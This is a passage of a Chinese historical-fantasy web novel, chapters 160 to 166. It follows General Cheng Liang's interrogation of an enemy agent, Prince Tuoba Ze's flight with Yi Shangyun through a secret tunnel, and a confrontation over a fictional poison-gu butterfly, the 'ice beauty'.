“程将军……”见到开门走出来的竟是被火烧的一脸焦黑的程良,只见他手里提着长剑,其身后的那间密室里唯只剩下厚厚的一层夜燕尸体,有人惊讶道。 顿时间,所有侍卫们不禁哑口无言地纷纷面面相觑着,片刻后一醒过神来便弯腰合力将程良高高举了起来,并欢呼“程将军…程将军…” 这发自肺腑真心的欢呼声,犹如波涛骇浪般,一声比一声高。 就在众人为程良机智勇敢地立下大功,亦是死里逃生而欢呼雀跃时,第五道门不知不觉间悄悄被人打了开来…… 就在众人尚且还都沉浸在一片喜悦之中,程良虽被高高举起着,但还是一眼便看到了眼前这位正想要乘机脱逃的人,从那第五道门里鬼鬼祟祟走出来的身影,正是方才妄想用毒针暗杀兰香的那个神秘人。 程良正是因为追踪此神秘人的行踪,方才再次来到了这万娇阁后院的阁楼里。 想必,他定是受人指使却暗杀失败,怕暴露了自己。但又被程良紧密布置在万娇阁外的侍卫逼得走投无路,才不得已逃到了这万娇阁的密室里。 显然,此人对密室的布局极为熟悉,不但能打开这密室的门,还对里面的机关陷阱了如指掌,否则也不会让他们喝了这险而又险的一壶又一壶了。 可当他被逼进到这密室后,上面茶室里又无人能帮他还原那打开密室门的机关,方才使得程良等人不费吹灰之力便发现了开启密室的机关所在。 思及此,只见程良一迅速抬起手中的长剑,便直朝着那即将踏上阶梯的神秘人,用力地掷了过去,那剑不偏不倚刚好扎在了男子的右后肩上,其右手顿时便失了力。 闻声,众侍卫方才立刻将程良稳稳地放了下来,随即一转身便将那正抱着右肩,疼的嗷嗷直叫的神秘男子包围了起来,同时有人上前将其一把按倒在地,将他的脸紧紧贴在密室冰冷的地面上,又将其双手向后环绕牢牢控制住。 程良这才缓缓踱步过去,将一只男儿的大脚重重地踩在那人的头上,微微弯腰下去眼神凶狠地瞪着那人质问道“还想往哪儿跑?说,拓跋泽人呢?” “你们是什么人?我又犯了什么王法?什么八啊,九啊的,我不知道你们在说什么?”那神秘人竟极为嚣张的胡言乱语矢口否认道。 程良不禁心中一愣,然跟着却用那只脚使出更大的力气碾了碾神秘人的头颅,接着狠狠道“怎么样,这下可知本将军在说什么了么?” 那人一时间竟痛的顿时失声大叫起来,直哀求道“你杀了我吧,我什么都不知道?” 程良一听到此人那如杀猪般的尖叫声,便已猜出他定是个纸老虎,于是缓缓伸手抚上了方才被自己飞掷出来扎在神秘人后肩上的利剑,哼声道“哼,你以为本将军真的不敢杀你么?” 话音刚落,只听他脚下死死踩着的男子,发出一阵撕心裂肺地尖叫“啊”,便见那把铮亮的长剑不知何时早已从男子的身上重新又回到了程良的手中。 程良将剑举高,放在自己的眼前,聚精会神地注视着剑尖上的血迹,似是极为惋惜地口吻道“啧啧啧...真是可惜啊。如此锋利的宝剑,理应每日里用最新鲜的血液祭奠才好。可如今,本将军竟不知它已有多久没有跟随本将军上战场杀敌寇,品那淋淋鲜血了。想必,它一定已经很饿很饿了,不过今天,本将军打算好好弥补弥补它,让它一次喝个够。” 程良明明将这话说的极为云淡风轻,可那神秘人却用极为扭曲的面孔心惊胆战地看着程良,等到程良刚一把话说完,便朝其惊恐地问“你想做什么?” 程良依旧似是淡淡地说着“本将军想做什么,难道不都是应你所求么?……来人,用本将军的宝剑,将他处以‘千刀万剐’之刑。想死,本将军就成全了你,不过,要你先受得过这刑才成啊。” “千刀万剐?”神秘人疑惑地惊声道。 旁边的侍卫狡黠地笑着向其解释“所谓‘千刀万剐’之刑,就是将犯人倒挂金钟,悬在空里,然后用锋利无比的刀剑,在其全身上下或割或剐,却是只割肉却不离骨,满千次或万次,直至其断气为止。到最后基本上整个人犹如一朵盛开的红花,面目全非、血肉淋漓、惨不忍睹,那场面,极美。” “不不不,我不要千刀万剐,我说,我说,我什么都说……”那人一边听着,一边大口地吞咽着口水,似是吓得不轻,终于开口妥协道。 程良这才拿掉了自己踩在那人头脸上的大脚,让其详细交代清楚。 半晌后,程良听着听着,一双浓眉大眼越睁越大,甚感震惊道“你的意思是说,那最后一道门后面并不是一间暗室,而是一条密道,拓跋泽天还没亮的时候便已经通过密道逃走了?” 男子点点头。 程良顿时脑袋一懵,心里道‘又晚了一步’,又着急地接着问“最后一道门开启的机关呢,和其它一样?” 男子摇摇头“密道那道门的开启,是一次性的。它只能被打开一次,以后便再也无法开启了。除非……” “除非什么?”程良赶忙追问。 “除非将整座万娇阁夷为平地,但极有可能也会影响致整条密道塌陷。”男子沉声着说。 “卑鄙,你们怎么能在我西秦大地上行如此狠毒之事?”程良忿忿道 。 “这是拓跋泽的亲自设计,他说就算有一天逃不掉,也要拉着西秦的子民来陪葬。”男子解释道。 “可恶,真是可恶,可恶至极,简直就是丧心病狂,那可都是些手无缚鸡之力的平民百姓啊。”程良咬牙切齿地怒着,周围的侍卫亦都一时间怔在原地惊的不得动弹,那男子也止住了声不再言语,似是心里也不怎么愿意拓跋泽这么做。 “拓跋泽是和谁一起逃走的?”片刻后,程良转念问道。   第一百六十一章: 才下眉头,却上心头 万娇阁对面的香满楼里,轩辕翰又艰难地熬过了一个无眠之夜。 这一夜里,最是无尽相思愁绪绵绵不绝,才下眉头,却上心头。 他唯有将这一切全都付于那支正被他紧紧攥在手心里的,嵌着两朵桃花的流苏簪子上。 程良刚从万娇阁的暗室里一回到香满楼,片刻都没有停留,只让玉娘换了一套干净的衣裳,便直接带她来见他的主子。 此时,程良站在门口看着他家主子那黯然出神的模样,心里是五味杂陈,无尽的心疼与不忍心。 不知过了多久,他终于吸了口气打起精神来,跨步进去朝着轩辕翰恭敬地行礼,强颜欢笑地神秘道“殿下,你看。” 轩辕翰闻声,方才缓缓抬起那双虽然疲惫但依旧光彩熠熠的浓眉大眼来,向着程良指向的门口看去。 只见久违了的玉娘正迈着细碎的步子,缓缓一走进来便叩首参拜“民妇玉娘参见秦王殿下,殿下千岁千岁千千岁。” 轩辕翰顿时睁大了眼睛起身来,惊道“玉娘,是你…终于找到你了,快起来回话。” 然玉娘却顿显行色匆匆地一起身来便急道“秦王殿下的救命之恩,民妇不甚感激。可是,民妇请求秦王殿下赶快想办法救救衣姑娘。” 轩辕翰闻此,立刻向着程良投去一脸的质问。 这时,程良支支吾吾了半天,终究还是不得不硬着头皮禀了起来“殿下,属下无能,只在万娇阁后院的密室里找到了玉娘,却并未见到衣姑娘人影。” “什么?”轩辕翰即刻重重地拍了一把面前的案几,瞪大了眼睛起身来大怒道。 没想到这一激动,本就疲惫不堪的他竟身子顿时一个踉跄,忽觉天旋地转了起来。 “殿下!”程良一见主子怒火攻心,便欲想伸手上前将其扶住,却被轩辕翰伸手拦住。随即故作平静地沉声问道“到底怎么回事?” 一旁的玉娘亦是对轩辕翰此举颇为震惊,她自是不知衣上云对轩辕翰意味着什么。 于是,程良和玉娘一起将发生在万娇阁里的一切都仔仔细细地禀告了起来“殿下,情况是这样的……” 听着玉娘和程良所禀告上来的让人匪夷所思的信息,只见轩辕翰眉头紧皱着端坐在案几边,轻抚在案上的一只手慢慢紧握成拳,并发出咯咯作响的声音。 待到俩人禀告完毕,轩辕翰终于了解了所有在万娇阁里发生的一切。 最后,他咬紧了牙根将双拳置在自己的膝盖上,似是在极力隐忍着这位肆意横行的北烈国皇子,在西秦的国土上所犯下的种种令人发指的滔天大罪。 见轩辕翰听完之后一言不发地沉默着,程良又道“属下已经命人在将万娇阁彻底搜查清场了,相信暗藏其內的 所有北烈国敌寇,这次一个都逃不了。方才在从万娇阁回来的路上,属下也已经仔细盘问过那个被捕的专门看守密室的北烈敌寇,他亦不知那条密道的终点最终具体通到了哪里,只知道是一个到达北烈的捷径。说是,当时是抓的我西秦的壮丁挖的这条密道。密道挖好后从来都没有用过,因为那密道是一次性的,开启以后便会即刻永久地关闭起来。当时被抓胁迫其为他们挖密道的我国百姓,密道一挖好,便也都…被杀灭口了。” 俩人看到此时轩辕翰眉头早已丝毫不展地沉默不语着,眼里却似是已聚集了千万支利箭来。 这时,玉娘像是想起了什么,连忙说道“没错,拓跋泽最后孤身来到密室里,是说要带衣姑娘马上启程跟她回北烈的。” 程良一听,急道“属下这就去追,一定不会让那个北烈国皇子奸计得逞……”说完,便回头欲出了门去。 “回来,你要上哪儿去追?拓跋泽诡计多端,绝对不可能走那条众所周知的大道。”轩辕翰这时方才出声将其拦住。 “那该如何是好?”程良心急如焚地道。 谁知,轩辕翰却忽然问他“易三少那边可有消息了?” 程良答“目前还没有。” 稍作思量后,轩辕翰站起身来安排道“拓跋泽,本王是该亲自去会会他了。你去找易三少,速速将他那边的事情处理好。然后来……城南北山脚下与本王汇合。” “北山脚下,殿下,你……”轩辕翰明显一身疲惫之色,却还要坚持亲自去对付那阴险狡诈的拓跋泽,程良欲言又止,满腹忧心道。 轩辕翰惜字如金,只催促道“快去吧。” 程良自是只能无奈道“那属下去了,殿下一定要多加保重,属下很快便会去与殿下汇合。”话刚说完,便急急退了下去。 这时,轩辕翰方才将目光再次移向落到玉娘的身上,道“婆婆和灵儿一直都在王府里惦记着你,等你回家,本王这就安排人送你回去。” “谢殿下”话音刚落,玉娘也欲退下去,却似是忽又想起了什么,便回过头来对轩辕翰说道“对了,秦王殿下,衣姑娘被拓跋泽带走的时候,民妇见衣姑娘身上的行装极为朴素简单,便将自己一个随身携带的粉色香囊交给了她。这个香囊里面填充的是南国极为名贵的玫瑰红茶,气味尤为突出,殿下不妨可以沿途注意一下,虽说也是机会渺茫,却总比什么都无迹可寻的要好。” “玫瑰红茶味的香囊……本王知道了,玉娘有心了。”轩辕翰闻之眼睛顿时一怔,说道。 “秦王殿下不必客气,衣姑娘本就是我们全家的救命恩人。况且这次若不是衣姑娘,民妇怕是真的就没命了。再说了,衣姑娘是为了 救我们,才甘愿牺牲自己跟拓跋泽去北烈国的。如此大恩大德,民妇怕是这辈子都报答不了了。” 第一百六十二章:阵痛 只要翻过了眼前这座山,便可减少一日一夜的路程,长驱直上西北古道,一条由西秦直达北烈的宽阔大道。 此时,西北古道上依旧正值寒风凛冽的隆冬时节,漫天冰雪,一般人很难坚持到底。 衣上云自是第一次来这北山,所以是极为陌生的。 就在她正仔细打量观望着周围陌生的环境的时候,拓跋泽忽然响起一阵响亮的口哨声来,紧接着便闻一阵马儿的长嘶之声。 随即便见有数匹骏马从一旁的林中刨蹄狂奔,昂首阔步,上面驮着清一色统一身着黑衣劲装、墨发半束、腰间佩剑的侍卫朝着俩人奔驰过来。那奔走之声,犹如春雷滚滚一般。 其中的一名侍卫手里还牵着一匹看起来似乎极为名贵的栗色宝马。 那马很快便极为乖巧的停在拓跋泽和衣上云的面前,显然早已被主人驯服。 “这是...这可是传闻中能‘日行千里,夜行八百’的汗血宝马?”衣上云入迷地一上前走近细细打量了一番,方才惊道。拓跋泽看着她一脸难掩的喜悦不禁嘴角一抽,露出了一抹好看的弧度。 忍不住心中的欣喜若狂,衣上云话音刚落,竟缓缓伸出手上去试探着想要亲自抚摸一下这匹传闻中的烈性宝马,不想那马儿竟会如此温顺地乖乖呆在原地,任它随意轻抚。 她真的是太激动了“早就听闻汗血宝马是世上最神秘的马匹,其外表英俊神武、体型优美、头细颈高、四肢修长、皮薄毛细、轻快灵活,具有无穷的持久力和耐力,极适合长距离的骑乘。因其奔跑时脖颈部位流出的汗中有红色物质,鲜红似血而著称。但今日亲自一见,果然是名不虚传。” 就在衣上云眉飞色舞地全心投入好奇地仔细打量着眼前这匹传闻中的神马时,拓跋泽忽然一脸欣喜地翻身跃上马背,并以迅雷不及掩耳之势飞快地伸手一把将衣上云捞起,揽着她的纤纤细腰,将其稳稳的放在了自己的身前,随即便扬鞭策马直向着山间的小路上奔上去。 数名黑衣劲装侍卫默默紧随其后。 谁料就在衣上云毫无防备的被拓跋泽突然拉上汗血宝马的马背,尚还在目瞪口呆时,突然发现自己跟着拓跋泽离开密室,临走的时候,玉娘赠给她的那个绣着蝴蝶与玉兰花的粉色香囊不经意间掉落,刚好挂在了上山的分岔路口边的一株低矮的海棠树上。 那可是临行时候,玉娘对她耳语说可用作跟踪寻回她的物件的啊,这要是丢了,那…… 衣上云已来不及继续往下多想了去,那或许将可能是她对在西秦国里所发生的一切,所能留下的唯一念想了。一念至此,她望着那个粉色香囊大声急呼“喂,香囊,我的香囊,停一下,停下来。” “不就是一个破香囊么,到了我北烈,你想要什么本皇子便给你什么。”拓跋泽一边策马着口中却道。 衣上云一脸错愕和蔑视,目光狠狠道“拓跋泽...你...你把我放下,快放我下来,你这个疯子,你要做什么?” 拓跋泽却问“衣上云,你不是答应本皇子心甘情愿要跟本皇子回北烈么?” “没错,本姑娘是答应了你跟你去北烈,但是眼下这...这不是一座深山么?”衣上云怯怯的说着,纳闷极了。 深山老林里,他们到底想要对她一个弱女子做什么,不会是…… 一念至此,正当众人已行至半山腰上的时候,衣上云忽然紧紧皱起眉头,感觉到一阵强烈的疼痛感,不禁都捂起腹部来,沉声呻吟“哎呦,哎呦……” 拓跋泽原本以为她一定是佯装生病,不知道又有什么鬼主意生了出来,还没彻底打消逃跑的念头,便准备对其视若无睹,不理不睬。 却不想她的沉吟声似乎越来越重,身子亦是越趴越低,都快要附上马背了。再仔细端详下,就连她此时的脸色也顿显出一片吓人的煞白色,貌似还...还冒着冷汗,完全不像是佯装出的一副病态。 不得已,他只得皱着眉头看似极不耐烦地勒马停了下来,疑惑道“你到底怎么了,刚才不是还好好的么?难不成就为了一个破香囊,不至于此吧?!” 衣上云此时看起来确实极不舒服的样子,整个人像是都要散架了,她吃力地说道“我…我...我肚子疼,我想...想...” 拓跋泽看到她这般痛苦的模样,还以为她是想要解手。随即一脸不耐烦却又无可奈何地放开了她,道“好了,不用说了,你去吧,但是不要走太远了,这深山里可是有很多豺狼野兽出没的。” 话一说完,衣上云至今也总算是挣脱了拓跋泽的牢牢禁锢,一下了马便朝着东面的一片小树林深处走了进去。 “你们俩,过去跟着。”拓跋泽警惕地吩咐旁边的两名侍卫道。 “是”两名黑衣劲装侍卫领命后,亦急急下了马来,跟在衣上云的后面一起走了过去。 话说,衣上云这会儿突发的这阵钻心的绞痛感,还真不是佯装出来的。 打从几日前,她一迈出了城西衣府的大门,至今都是饮食起居毫无规律,而她本就患有胃疾。 所以,这会儿只是胃疾突发,疼痛难耐。可她,却是被刚才拓跋泽的那股疯狂和霸道劲,真心吓了一跳。 或许,在她真正决定了跟拓跋泽临走之前,她心里还隐隐约约似乎有什么东西 第一百六十三章:梦醒 西秦南郊,位于北山附近的一处名曰柳树林的地方,地如其名,是个傍河而生以柳树为主的小树林。 旁边的空地上,一名男子正和老鸨相面而立着,表情显得一个比一个气势汹汹。 任谁都看不出来,她们本是已有多年感情的合作伙伴,却为何会走到今天如此这般针锋相对的地步呢? 只见那男子居高临下着,甚是威风凛凛地对那老鸨大喝道“如今,看来你是誓要背叛主子了,对么?” 这名男子正是拓跋泽的近身侍卫,老鸨在万娇阁里,进行炼制冰美人蛊的最后亦是其最关键的一个环节时,恰巧都被他躲在暗处撞见并看在了眼里。 他一见冰美人蛊被老鸨成功炼成之后,便立刻出面来想要抢夺,可那老鸨却想护着自己的孩子一般死都不肯撒手。于是,俩人便动起手来,谁也不肯放弃。 最后,竟然索性都一起冲破了轩辕翰设在万娇阁外面的布防,往外仓惶逃窜了去。 那老鸨自从一硬闯出万娇阁的大门之后,便被侍卫穷追不舍着,一路狂奔。加之身体本就肥胖,怀里又捧着装冰美人蛊的琉璃瓶。一路上尽管是左躲右藏,又使暗器,又撒毒的,却终究还是没能敌过知已知彼的侍卫的全力追击。 看着,她明显应是已经双腿酸软、气喘吁吁、精疲力尽、真的实在是跑不动了。 于是不得不停下脚步来,待稍微喘过气来平缓了点儿下来的时候,方才开口嘴里喃喃自语道“‘多行不义必自毙’,今儿个,我可谓真算得上是作茧自缚,自食其果了。平日里尽想着帮这帮禽兽不如的畜牲,研制了那么多能预防世间百毒的奇药,方使得自己如今陷入这一片黔驴技穷的尴尬局面之中。看来,今天真的是在劫难逃,很难摆脱他们了。幸好,他们心心念念的冰美人蛊,尚还未落入他们的手里。” 话一说完,她低头看了一眼此时正被自己牢牢圈在怀中,以黑布遮掩着的神秘琉璃瓶,随后又似是本能般的将它圈的更紧了些,缓缓抬起头来。 她怎会不知从一开始,那拓跋泽根本就没打算真正地信任她,对她的一举一动都小心监视提防着。 而对于炼制冰美人蛊的用途更是对她不肯泄露半点儿口风,保密甚严。 而如此得来不易的危险玩意儿亦算是世间极为罕见的宝贝,她又岂会心甘情愿如此稀里糊涂地便将自己的心血付于他人。 最终,她还是想到了一个好办法。有道是‘人为财死,鸟为食亡,有钱能使鬼推磨’。通过使银子,她从拓跋泽的近身侍卫的手下那里将他的意图打听地一清二楚。 原来,拓跋泽是想将此毒施在那灵空战神西秦秦王轩辕翰的身上。 听闻那秦王年纪轻 轻,正直血气方刚的大好年华,然世人却道他是个有着严重洁癖的丝毫不近女色的怪人,秦王府里甚至连个女婢都没有。 于是,他们便料定了那秦王绝对没有所挚爱之人。故此毒对秦王来说,即便是大罗神仙下凡也是于事无补解不了的。 只要那秦王身中此冰美人蛊毒,一动七情六欲之念,没有这天下最炙热的挚爱之人的身体取暖,便会当场爆发其至强至毒的寒毒而暴毙。 只要秦王一死,除了天下盛传着的守护西秦的那股神秘力量,便再无所惧。 整个灵空大陆里谁人不知,西秦璟帝无德无能、昏庸无道且又小人得志、心胸狭隘、致使西秦国民众怨声四起。 反倒是那个秦王轩辕翰,战场上,足智多谋,‘一夫当关,万夫莫开’;朝堂上,惩奸扬善,爱民如子,深得民心,实属一国之君的最佳人选,却尤为重情重义,相传似是对璟帝有求必应,颇为敬重。 而今,关于西秦的那股神秘力量,至今都无人知道它到底是什么东西,更别说见一见了。 也许,它真的如同传闻中所说的那样,已经伴随着多年前西秦皇宫里所发生的那场内乱,以血族后人的葬身崖底而不复存在了吧。否则,怎么会这么多年都无半点音讯呢。 也正是因此,她和拓跋泽一样打算着,以为能在西秦万娇阁里等到冰美人蛊炼成的那一日,给那西秦秦王成功施毒亲眼目睹证实他丧命之后,便举兵直驱攻陷夺取西秦皇宫,统治整个西秦。 然后,再整合北烈和西秦的力量,等到北烈开春之后即刻对灵空大陆剩余的南安和东宁两国之中,相对比较弱势的南安国发起进攻。 这样一来,她便很快马上就能跟着拓跋泽的队伍,再次回到阔别已太久的故土——南安;很快就能见到她魂牵梦绕、心心念念、日思夜想的浩儿;当然,她亦能趾高气昂地站在那个曾经陷害自己的贱人和那个南安昏君面前,让他们跪在自己的脚下,痛哭流涕,老泪纵横着对自己俯首认错;到时候,她要鄙视着唾弃他们,为自己一雪前耻;甚至在过去的无数个恨地咬牙切齿的夜晚里,她曾激动地想过,再见到他们时,她绝对不会给他们任何说话辩解的机会,因为当年他们也是这样对她的,她会直接亲手了结了他们的性命;等等 第一百六十四章:贪婪的奢望 侍卫话还未说完,老鸨那极为疯狂的笑声嘎然而止,随即改为厉声地止住了他,道“住嘴,你以为你是谁,你又能决定什么?你也只不过是拓跋泽身边一条摇尾乞怜的狗而已,比我又能好到哪里去。我的今日,便是你的明天。就凭你们,只被那西秦秦王几天时间,便给困死在了万娇阁里。若不是那条密道,拓跋泽亦早就没命了。你们……永远都不可能胜过西秦,永远不能!” 犹如临死前宣布一个预言一般,老鸨将话刚一说完,便用另一手快速地附上,随即一把将那遮盖在神秘琉璃瓶上的黑布扯了下来。 此时,躲在一边树丛后面正目不转睛地监视着眼前所发生的一切的易君浩和几名秦王府侍卫,顿时都不约而同地对黑布下所遮掩着的神秘物体瞪大了眼睛。 易君浩顿时眯起那双迷人的桃花眼来似是惊呆了,最后却只得放低声音道“是冰美人蛊!” 身旁侍卫同时转头朝向他,好奇地问“那是什么东西?看起来很鬼魅,听起来又好像很邪门的样子。” 易君浩稍作思索,道“这个老鸨还真是了得啊,竟连这种天下毒蛊师都敬而远之,天下至毒至邪的冰美人毒蛊都敢养。真是疯狂到不要命了。” 那几名侍卫一听这话,眼睛瞬间瞪的更大,互相面面相觑地看着,其中有人开口问道“易三少,那老鸨手中的似一团火在燃烧着的东西到底是什么,很危险么?” 身旁不断传来极为响亮的水流声,轰轰隆隆,易君浩缓缓道“这就是传说中,在灵空大陆外遥远的北极冰海地带,一种被称做冰美人的神蝶。” “‘冰美人蝶’?听起来不应该是与冰冷有关么?怎么会是一团火红的火焰的样子呢?难道是‘冰火两重天’之说?”那名发问的侍卫甚是疑惑道,其余他人虽都未做声,却也一脸茫然地痴望着易君浩等待其解释明白。 易君浩吸了口气,道“你们别看冰美人现在美艳地如火似血,经过了冰与火的历练,它现在可是这天下至毒至邪的一只毒蛊了。” 见侍卫们仍然都还是一脸狐疑地看着自己,易君浩便表情有些凝重地道“冰美人乃是天下至寒之物。原本体长一尺有余,伴随着冬天的飘雪破蛹而出,以冰花为食,拥有像水晶一样晶莹剔透的身体和薄薄的翅膀,飞舞时挥动双翅便会撒落点点冰花,冰花落地便能散发出七彩的光辉。但经过一些心术不正,邪恶的顶级毒蛊师的炼制,又有这天下至毒的美人血的滋养,它便立即会变成眼前你们所看到的这样,体长大小看起来只是普通蝴蝶一般,却静如娇艳美人,鲜红胜血惹人怜爱;动若情人泣血般,凄美壮丽令人断肠;重生后则似美人在血与火中沐浴 燃烧般,红火交织成的新生命,成就这天下至毒至美亦至邪的冰美人毒蛊。” 侍卫们这才恍然大悟,却都一个个早已经被这些闻所未闻的词惊呆了。 半晌后,方才发问的侍卫才缓缓回过神来一脸担忧之色,道“那中此毒者又会如何呢,是不是会立刻七孔流血,后尔毙命呢?” 易君浩当即哼笑道“哼…身中此毒者,倒不一定会马上毙命……” 似是话还未说完,易君浩忽然转过头来笑着问那侍卫,道“你心中可有挚爱之人?” 侍卫极难为情地摸了摸脑门,不好意思地傻笑道“没,没有。” 易君浩随即回过头去,微微抬起眉眼,道“心中没有挚爱的人,如此的话,那可就糟糕透了。若是你不小心身中了此毒,便真的是要当场毙命了。但你放心,在你死的时候,绝对比这世上任何一个人都要有尊严,绝不会流下一滴污血。而且,假如你死前已到了风烛残年,这冰美人蛊毒还会让你在刚心脉俱断之后,恢复到你十八岁最美好的青春年华时的模样。” “啊?那不成了妖怪了。”众人异口同声地惊道。 随后,那名侍卫又一次问“可那又跟有没有心上人有何关联?” 易君浩看了看他,又笑了笑,转过头去看着不远处那老鸨正举在身前的琉璃瓶中,已被练成了一只遍体鲜红胜血正婀娜多姿地翩翩起舞,震动双翅,洒落着粒粒鲜红如泣血的血花的冰美人蛊,入神地说道“冰美人,冰美人,美人虽美,却不是可随意动心的。身中此毒着,万不可动情,否则会激发其体内冰美人蛊毒之天下至寒寒毒,除非以天底下最挚爱的心上人炙热的身体方得以压制,否则便会当场畏寒致死。” 侍卫听后恍然大悟,却又似是仍留有些疑惑,问道“三少方才一直说的是压制?并非解毒啊,究竟如何才能彻底解了此毒呢?” 易君浩闻之瞬间将那双细长温柔的桃花眼快要眯成了一条缝,沉声说道“此毒,无解!” 侍卫一听顿时怔住,一脸诧异地开口道“什么?那便是说,身中此毒者,总有一日,终将毒发身亡了?” 易君浩没有再说话,只是两眼露着极恨的光芒紧紧盯视着老鸨手中的琉璃瓶。 身旁的侍卫们亦都顿时大口地吞咽了一口口水,纷纷有些惊怕了起来,面面相觑了一下很快又一同将目光移向了眼前那俩人的身上。 老鸨手里,那透明的琉璃瓶中,浑身遍体通红,每一条脉络里,闪烁不停着一道道灼眼的红色火光的冰美人,正婀娜多姿地翩翩起舞,震动双翅,洒落着粒粒鲜红如泣血的血花,像是已充满着力量蓄势待发,跃跃欲试着,似是随时都可能会飞出来‘觅食’一般。 老鸨与拓跋泽的近身侍卫仍久久僵持不下着,那近身侍卫对冰美人蛊自是志在必得的。 否则,他便无法跟他的主子交差,他当然知道他的主子对这个冰美人蛊毒是有多重视 第一百六十五章:关于,天上掉馅饼的事儿 只见那老鸨的两只手高高地举着那只装有冰美人蛊的琉璃瓶在身前,时间一分一秒地过去,她的手不禁已有些战战兢兢地摇摇晃晃起来,似是有些支持不住了。 而拓跋泽的侍卫又对其虎视眈眈着,一直紧盯不放。 于是,不得已,老鸨忽然迈步缓缓向后试探着一步一步地退了起来。 正躲在一旁观望着情势发展,并寻找出手机会的易君浩,看到前方突然间似是人影晃动,道旁林中随即窜出七、八个人来,个个都人高马大,身体健硕。他们手持着锋利的长剑,闪闪发亮,刚好阻拦在了老鸨的退路上。 老鸨也似是感觉到了身后有贼人的动静,便陡然停步,转过身去一看,顿时又惊得向着拓跋泽的近身侍卫方向倒退了两步回去。 就这样,来来回回徘徊着,一直被死死地夹在了那分成两队的同为拓跋泽的人马之间,似是已无路可退。 忽然,她将那只琉璃瓶高高举起挡在身前,眼睛朝左后方微微斜了一眼柳树林旁,那条由南向北流向的却看不出其深浅的一汪河水,它正不断地传出来着似是极为湍急响亮的水流声音。 而这条河所流向的北面尽头,不远处那天际一色间,只闻得发出来轰轰隆隆,似如潮水大至般更为湍急的水流巨响来,老鸨猜测着,那里定是有一条大瀑布,底下很可能便是一条峡谷。 确实不错,正如她所料,眼前这片漫长的柳树林生长所倚靠的大河,它所流向的北面天际一色处,正是位于这片地方的东北角上的一条大瀑布的上游。 而这条瀑布滚滚直泻而下所注入的,恰巧正是和衣上云所在的北山东面的那条直立的悬崖下,那万丈深渊底的山谷里的碧水湖。 侍卫一直目不转睛地紧紧盯着老鸨手里的琉璃瓶,丝毫无松懈之意。见冰美人情况危急,侍卫忽然口气稍有些好转,但依旧带着些胁迫味道“我警告你,你最好清醒一点儿,莫要自毁前程。你应该清楚,冰美人对主子有多重要。” 老鸨的脸上明明流着泪,却蔑视地笑着对他说“哼…前程?你认为像我这样的人还有什么前程可言么?我这一生,没有人爱,也没有爱人;老天怜我,却让我拥有了一个孩子,但又永远地失去了他……” 看到老鸨说起她碎碎念的儿子时,仍是有些入神的,于是,那侍卫眼睛一转,灵光一闪道“你并没有失去你的孩子,永远都不会,他正平平安安地好好的在南安老家里,等着你回去团聚呢?你带着冰美人跟我回去,我们的大计眼看着马上就要成了,我们回去马上就可以起兵前往南安国了。你马上便能回国了,可千万不能在这个节骨眼儿上,一时犯了糊涂,前功尽弃了 啊……” 侍卫连蒙带骗,威逼利诱的话似是还没完全说完,老鸨却已不再给他说这些话的机会。当即啐了他一口,狠狠道“呸...骗子,魔鬼,你们别想再继续欺骗利用我了。我之所以会有今天,全都是拜你们所赐。你以为如今这样的我,还回的去吗?我原本只是个酷爱医术的医痴,打算毕生将热衷于医术,医病救人无数;而今,我却成了一个双手沾满了鲜血的恶魔毒妇;曾经的我,是那么的骄傲,可如今,却是如此的讽刺。一个人,果然可以变成她最讨厌的样子……这一切的一切,都是我应得的报应,我认了。而你们……总有一天,你们也一定会得到应有的惩罚,你们一定会不得好死的,你们等着。冰美人,你们谁都别想得到,我今天就毁了它…我...我……” 老鸨一边情绪越来越激动地说着,一边四下里急急寻找着退路。 可此时,除了柳树林边上的那条往北流去的滔滔大河,她的周围已经都被拓跋泽的人围成了一圈,将她困的死死的。 “你已经无路可逃了,今天就算是不惜杀了你,我也一定要你将冰美人交出来。来人...给我上。”见其软硬兼不吃,侍卫便伸出手做了个手势,亦结束了所有的谈判。 于是,只见众手下便举起明晃晃的利剑,一起恶狠狠的朝着老鸨的身边慢慢试探着踱步过去。 冰美人蛊乃为刚刚炼制而成,尚未来得及尝试着施展过,她的心里并没有能完全掌控它的把握,自是不敢轻易将它放出,唯怕其一旦失控飞走,后果将不堪设想。 她必须先找个可以隐蔽自己的地方做掩护,方才敢打开盖子,将其召唤出来,可眼下实在是找不出这样合适的地方来。 眼看着这些北烈走狗亦就要气势汹汹不顾一切地攻上前来抢夺了,无奈之下,她迅速一个转身,便毫不犹豫的朝着柳树林里那条大河的北边尽头狂奔而去,想看看那水天一色之处是否还能争取到一线机会。 就在她刚转身奔出去两步,易君浩正摩拳擦掌,欲起身来带人从其所隐藏的西面的树丛里杀出去时,突闻得从众人面前唯一的那条林间小道上,由南而至,渐渐传来一阵越来越清晰的“哒哒哒...”连续不断的马蹄疾驰的声音。 这时,除了老鸨急着寻找地方,毁灭冰美人蛊继续逃窜以外,其他所有人都顿时停下了手脚上的动作,定睛向着声音传来的地方望去。 待到来人慢慢逼近,易君浩终于看清楚,那来人正是带着一大队人马直奔赶过来的程良。 顿时,拓跋泽的近身侍卫亦认出来这位大名鼎鼎的秦王副将,于是伸手做出了一个手势,其手下便迅速散了开来排成 第一百六十六章:倦“鸟”归巢 程良呵斥道“你们这帮没出息的家伙,自己不努力,整天还想着天上掉馅饼的美事儿,难道你们就不怕这馅饼掉下来把你们砸死么?” 那手下接着又喜道“这样的馅饼儿,就算把属下们砸死一千一万次,属下也甘之如饴!” 程良怒道“好了,怎么还没完没了了,待办完了这次的差,回到城东王府里,本将军再与你们好好理论理论这天上馅饼儿的事儿。现在……得先把这帮北烈敌寇给本将军端了。” “是”众将领命后,即刻转身朝着那正排成一字战战兢兢着,等待拼死应战的北烈穷寇走去…… 易君浩紧跟其后,看着老鸨飞奔到河的尽头,喘息了一阵。自始至终却唯独只有那两只手,紧紧地抱着那只她视如生命的琉璃瓶。 可显然,这河的尽头便只有万丈深渊,并没有她期待之中的山洞等地可以借用。她失望的眼睛直勾勾地看着眼前的大瀑布直泻而下看不到底,此刻已然走投无路。 正当她徘徊在瀑布顶端的边儿上不知所措时,易君浩出声朝其劝道“喂,前面已经无路可走了,快回头吧!” 老鸨闻声迅速一个急转身,随即看了他一眼,紧跟着又朝其身后打量了一番,表情似是有些惊讶,问道“你怎么一个人跟来了,其他人呢?你难道就不怕我手里的毒么?” “你...果真是南安人么?”易君浩并没有理她,只自顾自地开口欲亲自确认其身份道。 “‘南安’?确实让人‘难安’啊!”老鸨有些出神地叹道。 “本公子也是南安国人,你有什么事可以同我讲!”易君浩道。 老鸨顿时瞪大了眼睛,看着易君浩的眼睛惊道“你真是南安国人?” 